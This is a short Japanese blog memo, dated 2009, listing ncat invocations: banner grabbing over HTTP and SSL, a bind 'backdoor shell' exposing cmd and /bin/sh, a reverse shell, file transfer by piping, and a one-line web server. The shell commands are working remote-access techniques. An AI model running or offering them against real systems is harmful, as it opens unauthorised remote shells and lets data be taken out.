8月 18

ncat 実行メモ

ncatのオプションメモを書くときに色々試してみました。
その中で主だったものの実行方法をメモしておきます。

Usage:Usage: ncat [options] [hostname] [port]
バナー取得D:\client>ncat x.x.x.x 80
HEAD / HTTP/1.0

バナー取得(SSL)D:\client>ncat --ssl x.x.x.x 443
HEAD / HTTP/1.0

バックドアシェル
Windows:D:\server>ncat -l -e cmd 31373

D:\client>ncat x.x.x.x 31373
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
D:\server>

Linux:root@pubuntu:/server# ncat -l -e /bin/sh 31373

root@pubuntu:/client# ncat x.x.x.x 31373
pwd
/server

リバースシェルD:\client>ncat -e cmd 127.0.0.1 31373

D:\server>ncat -l 31373
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
D:\client>

ファイル転送(TCP)D:\server>ncat -l 31373 > recv.txt

D:\client>ncat x.x.x.x 31373 < send.txt
簡易WebサーバD:\server>type html.txt
<html><head><title>test</title></head><body>test page</body></html>
D:\server>
D:\server>ncat -l 80 < html.txt

D:\client>ncat x.x.x.x 80
<html><head><title>test</title></head><body>test page</body></html>


Copyright 2021. All rights reserved.

Posted 2009年8月18日 by ntsuji in category "memo", "tool